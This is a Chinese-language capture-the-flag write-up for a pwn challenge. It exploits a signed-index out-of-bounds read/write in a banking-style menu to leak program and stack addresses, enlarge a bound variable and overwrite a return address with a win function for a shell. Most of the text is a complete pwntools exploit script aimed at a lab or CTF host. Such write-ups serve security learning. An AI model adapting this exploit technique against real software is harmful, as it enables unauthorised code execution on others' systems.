ELF64位,开启了PIE和NX,got表不可写,进入super_ai函数,这个函数对栈上的数组用bss段上的变量访问



动调后发现为0和1
menu函数会打印输出你输入的值的索引对应v1的值,输入1是查询对应的余额,输入2是设置对应账户的金额,是通过输入v3后用其访问v1,不能输入比you大的数否则退出,但是v3是有符号数,可以输入负数来越界读取栈上的值,想要getshell就要改写super_ai的返回地址,可是you的值不够大,写不到返回地址,可以通过数组越界修改you的值足够大去修改返回地址为win。




下断点到printf'函数看看栈上有什么地址可以泄露

在数组的-1和-2的地方有程序地址和栈地址可以泄露,该程序开了PIE泄露程序地址可以定位到you和win函数的地址,栈地址用来计算you的当前数组的偏移
gdb.attach(p,"b *$rebase(0x145D)")
p.recvuntil(b"regulated!")
p.sendline(b'1')
p.recvuntil(b"Whose account?")
p.sendline(b'-1')
p.recvuntil(b"= ")
base=int(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00').decode(),10)
print(hex(base))
you=base+0x2BEA
win=base-0x10E
p.recvuntil(b">")
p.sendline(b'1')
p.recvuntil(b"Whose account?")
p.sendline(b'-2')
p.recvuntil(b"= ")
stack=int(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00').decode(),10)-0x30
数组索引以八字节为一个单位,故索引为-(stack-you)/8,写入you

p.recvuntil(b">")
p.sendline(b'2')
p.recvuntil(b"Whose account?")
p.sendline(str(int(-(stack-you)/8)).encode())
p.recvuntil(b"How much?")
p.sendline(b'100')

覆盖返回地址为win函数地址
p.recvuntil(b">")
p.sendline(b'2')
p.recvuntil(b"Whose account?")
p.sendline(b'7')
p.recvuntil(b"How much?")
p.sendline(str(win).encode())
p.recvuntil(b">")
p.sendline(b'888')
得到shell

完整exp
from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
from pwn import *
import os,base64
filename="./pwn"
elf=ELF(filename)
context.arch=elf.arch
os.system(f'chmod 777 ./{filename}')
debug=1
if debug:
p=process(filename)
else:
p=remote("node4.anna.nssctf.cn",28978)
libc=ELF("./libc-2.31.so")
#gdb.attach(p,"b *$rebase(0x13EA)")
p.recvuntil(b"regulated!")
p.sendline(b'1')
p.recvuntil(b"Whose account?")
p.sendline(b'-1')
p.recvuntil(b"= ")
base=int(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00').decode(),10)
print(hex(base))
you=base+0x2BEA
win=base-0x10E
print('win----->'+hex(win))
p.recvuntil(b">")
p.sendline(b'1')
p.recvuntil(b"Whose account?")
p.sendline(b'-2')
p.recvuntil(b"= ")
stack=int(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00').decode(),10)-0x30
p.recvuntil(b">")
p.sendline(b'2')
p.recvuntil(b"Whose account?")
p.sendline(str(int(-(stack-you)/8)).encode())
p.recvuntil(b"How much?")
p.sendline(b'100')
p.recvuntil(b">")
p.sendline(b'2')
p.recvuntil(b"Whose account?")
p.sendline(b'7')
p.recvuntil(b"How much?")
p.sendline(str(win).encode())
p.recvuntil(b">")
p.sendline(b'888')
p.interactive()
Comments NOTHING